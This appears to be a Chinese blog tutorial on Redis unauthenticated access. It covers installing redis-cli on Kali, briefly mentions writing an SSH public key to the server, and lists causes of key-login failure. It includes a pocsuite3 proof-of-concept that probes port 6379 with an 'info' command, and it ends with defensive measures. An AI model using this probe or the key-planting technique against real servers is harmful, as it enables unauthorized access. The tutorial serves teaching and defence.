第五章5.1redis未授权访问漏洞

本文详细介绍了Redis未授权访问漏洞,指出在安全配置中,由于逻辑缺陷导致其他用户可以无需权限访问敏感信息。同时提到了该漏洞常见于多种服务,如NFS、Samba等。在5.1.1部分,解释了如何使用kali的redis-cli进行检测,并探讨了ssh免密钥失败的可能原因。最后,提出了四点防御措施,包括限制高危命令、低权限运行、禁止外网访问和保护authorized_keys文件。
摘要由CSDN通过智能技术生成

5.1未授权访问漏洞

在安全配置,权限认证,授权页面存在逻辑缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库网站等敏感信息写偶。目前存在未授权访问漏洞的服务包括:NFS,Samba,LDAP,Rsync,FTP,Gitlab,Jenkins,MongoDB,ZooKeeper等

5.1.1redis未授权访问漏洞介绍

kali下载按照redis客户端redis-cli

1.获取redis资源

  wget http://download.redis.io/releases/redis-4.0.8.tar.gz

2.解压

  tar xzvf redis-4.0.8.tar.gz

3.安装
  cd redis-4.0.8
  make
  cd src
  cp src/redis-cli /usr/local/bin/
  make install PREFIX=/usr/local/redis

4.移动配置文件到安装目录下

  cd ../

  mkdir /usr/local/redis/etc

  mv redis.conf /usr/local/redis/etc

1.先在kali生成ssh密钥,将公钥传入redis服务器在这里插入图片描述

ssh免密钥失败的原因

1.目录权限
.ssh目录权限id_rsa,id_rsa.pub
用户锁住的目录权限 700
2目标的ssh设置问题

pocsuite-poc
通过socket函数远程连接主机Ip和端口号,发送Payload,利用recvdata函数接受目标主机返回的数据。当返回的数据中含有’redis version’字符串,说明有漏洞

import socket
from pocsuite3.lib.utils import url2ip
from pocsuite3.api import POCBase, Output, register_poc, logger, POC_CATEGORY, VUL_TYPE


class DemoPOC(POCBase):		#实现类DemoPoc,继承自POCBase
    vulID = '1.1'
    version = '1.1'
    author = ['1']
    vulDate = '1.1'
    createDate = '2020/10/10'
    updateDate = '1.1'
    references = ['redis']
    name = 'redis_未授权访问'
    appPowerLink = 'redis'
    appName = 'redis_未授权访问'
    appVersion = '1'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''
        REDIS
    '''
    samples = ['']
    category = POC_CATEGORY.EXPLOITS.REMOTE
    protocol = POC_CATEGORY.PROTOCOL.REDIS

    def _verify(self):
        result = {}
        payload = b'\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
        s = socket.socket()
        socket.setdefaulttimeout(10)
        try:
            host = self.getg_option("rhost")
            port = self.getg_option("rport") or 6379
            s.connect((host, port))
            s.send(payload)
            recvdata = s.recv(1024)
            if recvdata and b'redis_version' in recvdata:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['Info'] = "Redis未授权访问"
                result['VerifyInfo']['URL'] = host
                result['VerifyInfo']['Port'] = port
        except Exception as ex:
            logger.error(str(ex))
        finally:
            s.close()
        return self.parse_verify(result)

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output

    def parse_verify(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(DemoPOC)


在这里插入图片描述
5.1.4防御措施
1)禁止远程使用高危命令
2)低权限运行redis服务
3)禁止外网访问redis
4)防止用户添加新的公钥,将authorized_keys权限设置为对拥有者只读

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值